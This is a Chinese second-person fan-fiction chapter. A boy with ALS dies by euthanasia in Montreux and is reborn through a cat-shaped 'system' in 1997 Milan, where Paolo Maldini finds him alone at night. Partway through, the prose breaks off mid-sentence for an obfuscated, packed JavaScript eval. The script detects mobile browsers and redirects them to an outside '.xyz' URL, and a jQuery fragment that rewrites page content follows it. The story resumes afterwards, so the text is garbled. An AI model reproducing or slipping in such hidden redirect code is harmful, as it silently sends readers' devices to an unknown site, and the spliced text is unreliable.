2025，瑞士沃州，蒙特勒小镇
咔——随着门被轻轻被推开，屋内病床上的人眼球几不可查地转动了一下，几名医生近乎缄默地站在床边，护士轻手轻脚地帮你把床摇起来，同样一言不发。
你的眼珠转动着看向窗外，这一整面墙早在你入住这栋房子前便被你父亲命人敲掉，换成高透的钢化玻璃，因此你此时也得以欣赏死前的最后一眼风景。
也许人生总像是不停滚动的小球，你永远不知道它会在哪一刻停下。
六岁那年一向瘦弱的你在母亲死后的第二天突然拿不起画笔，被水桶绊倒后美工刀不慎划破胳膊，想要起身却怎么也使不上力气，等工作第一天的儿童陪伴师端着水果进门后，看到的就是脸上被血抹得脏污、倒在混着颜料的脏水中的你，身上的衣服被颜料染得花花绿绿。
于是在尖叫声和无数混乱的脚步声中你被紧急送往了医院，诊疗结果是浅表性割伤肌萎缩侧索硬化，Amyotrophic Lateral Sclerosis,ALS，也就是俗称的渐冻症。尽管你很茫然为什么摔一跤后就得了好像十分严重的病，但你的父亲在电话中得知结果时十分冷静，你不知道你的祖母就是这样死去的。
你不懂成年人的想法，你也无法再沉浸于失去母亲的悲伤里，因为随后的所有时间里你的世界只剩下无数穿着白大褂的医生和护士以及冰冷的机器。尽管病房永远是家的样子，但懵懂却敏锐的你知道有什么东西变了。
一年前你从美国的梅奥诊所搬到了日内瓦湖东岸的大别墅里，同时提交了安乐死的书面申请，在你父亲找来的不知名人士的签字下被确认为有效，在经过冗长的程序和法律伦理审查后，你的生命正式迎来了倒计时。
下了一夜的雪仍孜孜不倦地飘落在日内瓦湖平静的水面，蔚蓝深远的阿尔卑斯山静默注视着蒙特勒小镇，雪夜里的灯火显得极为渺小，远处传来的铃铛声恍恍惚惚，在这个红绿交织的圣诞节，扎入静脉的针筒、病床上的十六岁少年、和门口西装革履匆匆赶到的人伴着清冷与热闹一同远去了。
*
1997年的意大利正处于所谓的第二共和国初期，宗教世俗化程度不断加深，意大利时尚在全球大放异彩，米兰作为世界时尚之都人群云集，同时意大利作为足球氛围浓厚的国家，足球比赛也P是全民讨论的话题。
这一年，意甲联赛被称为小世界杯，是世界上最好、最富有的联赛，云集了罗纳尔多、巴乔、巴蒂斯图塔、马尔蒂尼等全世界最顶级的球星。
此时你正站在意大利米兰的市中心广场——米兰大教堂广场（Piazza del Duomo），它在1778年建成，现在是米兰的地标性公共空间。哥特式的尖顶，中央塔楼上安置的镀金圣母玛利亚雕像，维多利奥埃玛努埃尔二世的骑马铜像，周边分布着特征明显的新古典主义风格的浅浮雕建筑。
你很可惜现在只能与月亮为伴，你想亲眼看到阳光穿过彩色的玻璃拱顶，反射到广场上聚集的鸽群明亮的眼珠上，倘若那时刚好有三两鸽子被行人惊飞，你的手上也有一架相机，那么这张照片一定会被你细心保存。
「我以为你会更想成为一名运动员，你已经很久不能走路了」你的系统认为越缺少会越想要弥补。
「我不知道，也许我只是习惯性想要把容易失去的保留住。」
你有些茫然地扶着墙走动，步伐像小孩一样稚拙。
「毕竟当我对所有都无能为力后，不得不学着成为一个老人，做到轻松地对他人告别，避免照顾我的看护姐姐最后哭晕在病床边。」你面无表情地蹲下身来，对着系统说话。
你始终坚持和人说话要认真看着对方的眼神，以免对方误会对话的人走神或者不专心，尽管在开始往返各个医院后和你每天对话的人只有你父亲雇佣的看护姐姐，但你仍然牢牢贯彻这个准则。
但蹲着和人说话仅仅是因为你的系统是一只不满一岁的猫，看着比你还瘦弱，异色的双瞳和白色的长毛光泽暗淡。
你的系统用尾巴轻轻抽了你，「对于你的内心如何我不予置喙，现在我十分欣慰于你在接受死而复生后内心的坚强。」
街边的行人寥寥，路灯撒下一小片低饱和黄色，飞虫在灯罩下不知疲倦的飞舞，你贪婪地看着他人只道是寻常的场景。
尽管11岁时你很遗憾没有收到猫头鹰塞进家门的信，但你得到了比这更棒的东西。
你得到了一个名叫重启人生的系统！
你和系统的第一面十分普通。
在你自报姓名后，你几乎迫不及待扔出最渴望的问题，「你听起来像是非自然力量，所以你能治好我的病吗？」
「不能」，系统沉默地说道。
得到了一个意料之中的答案，但你并没有失望，你只是好奇地问道，「那为什么叫重启人生。」
「因为我会给你第二次人生，你会获得一个健康的身体，你能自由选择自己的人生，就像其他人一样。」
「……听起来像上帝迟到的礼物。」
「你接受这份没有漂亮包装的礼物吗？」
「Of course.」
接着在系统的随机时间里，你抽到了1997年，地点是随机的意大利。
这听着很时光机。
你走到喷泉边，倒影里只有一个被水波扭曲的月亮和一张颜色暗淡的脸，到脖颈的黑色长卷发遮住大半张面容，绿宝石似的眼睛像在发光。
“好丑。”你嘟囔着将头发别在脑海，将系统抱在怀里，刚要向前走去，身体突然僵住，你后知后觉地发现系统虽然给你了健康版的13岁身体，但就像你不确定外表完美的苹果里是否会吃出虫，礼物开出一半的你很不幸地发现你现在是一个黑户，所以理论上并没有一个方向给你走。
你并不知道应该去哪里，也许要去找警察，但可惜你也不知道警察局的方位。
——最后你只能郁闷地抱着猫坐回喷泉边。
马尔蒂尼和队友打了个招呼就拎着钥匙出去了，事实上今天是他的生日，但他并没有兴致去庆祝这个以往被队友和闪光灯包围的日子，就像他一反常态地把派对地点定在了Camparinp（意大利米兰市中心的一家传奇酒吧，最初作为米兰社交圈的开胃酒文化代表，其建筑融合意大利新艺术风格，现已成为米兰灵魂象征），而不是自己家里。
这赛季AC米兰完全陷入了低谷，主帅卡佩罗转投西甲豪门皇家马德里，球队引援效果不佳，未能留住齐达内，转而签下杜加里等名气较低实力不清的新援，带领球员们建立过米兰王朝的功勋主教练萨基回归执教，但因为阵容整合问题还是没能力挽狂澜，米兰在意甲积分榜排名第十一位，创下历史最低排名，欧冠小组赛仅得1胜，以第三名出局，米兰该赛季未能获得任何冠军。
也许郁闷总是不单独出现，几日前米兰队长巴雷西正式宣布退役，这位将二十多年的职业生涯全部效力于红黑军团的荣誉队
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464125|185442||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长将离开他最爱的绿茵场，他的队友们再也不能在获得胜利后拥抱亲吻他，尽管这是巴雷西早就决定好的事，马尔蒂尼也比媒体更早得知这个消息，但他还是有些闷闷不乐。不是因为马尔蒂尼将接过队长袖标，要像他的老队长一样为他最爱的俱乐部奉献最好的青春，承担起队长的责任，只是，这毕竟不是什么值得开心庆祝的事。
巴雷西同样参加了今年的生日派对，他当然知道老队长想要多和他们相处一会儿，尤其是作为接班人的自己，但马尔蒂尼只是装作没看到队长的欲言又止，借了队友的车随意在市中心逛着。
意大利是十分注重环保的国家，每个小镇和城市都有ZTL车辆限制区，而这些交通限制区基本把市内中心部分划分在里面，加上现在是凌晨，基本看不到其他车辆。马尔蒂尼将车子随意停在路边，朝教堂大广场走去，指尖夹着一根未点燃的烟，用手不断撵着，视线随意转着，无焦距地扫过熟悉的建筑。
嗯，今晚的月亮很美，米兰大教堂是一如既往地伫立在那，喷泉的水哗啦啦不停息，并不觉得吵闹，在夜晚有种特殊的静谧，一个小孩抱着猫坐在那，低着头看不清脸……
嗯?
小孩？!
马尔蒂尼给队友发了短信，表示自己有一些紧急情况要处理，从副驾驶储物箱拿出一瓶不知道什么时候放进去的牛奶，看了眼没过期后就要递给后座的小孩，但他突然想到这不是自己的车，天知道它有没有变质，于是刚伸出去的手只能收回去，假装自己只是随意看看。
人在尴尬的时候总是希望自己很忙，马尔蒂尼先生尝试和你聊几句，你觉得他努力的样子有些辛苦，只能尽力回应。
最后你们还是回归沉默，你很认真地感谢他，“Thank you,Mr.Maldini.”
前世你很早就不良于行，但你并不想狼狈地像一个木乃伊一样坐在轮椅上被人推着走，你宁愿躺在病床上让护士给你念书，或者看一些你感兴趣的影片来充实你贫瘠的生活，加上你并不热衷于上网，对足球不感兴趣的你理所当然地不认识眼前的人，你只知道这个叫马尔蒂尼的先生是一位好心人，避免你一整晚只能和微风和小虫子待在一起。
你猜测他可能会把你送到收留所等地方，但你并不关心，毕竟你是个黑户，有地方住就很好了，你的系统也是这么赞同的。
你很开心和你的伙伴达成了一致。
但是马尔蒂尼先生就没有这么轻松了，他只知道这个叫纳撒尼尔·吉伦斯蒂纳（Nathaniel·Gyllenstierna）男孩在今晚走失了，由于你看起来有些内向的模样，他并没有多加打听，你只告诉他你一醒来就在这了，你的母亲很早就去世，你的父亲忙于赚钱，你并不清楚你其他的亲人。
你并没有说谎，由于你是个早产儿，你小时候很长一段时间都待在私人医院里，你有血缘关系的亲人分布在各地，你自然很少见他们。
马尔蒂尼开着车往家走，其实他第一时间想到联系Servizi Sociali delune di Milano(米兰市政社会服务部门），他们的核心行政总部 - Palazzo Marino刚好在大教堂广场，十分近，但他很快想到在加班较普遍的意大利他们的办公室在晚上也并不上班。
然而任何有良心的人都不会坐视一个小孩子孤零零的在晚上流浪，所以此刻唯一能去的地方竟然只剩
——他自己的家。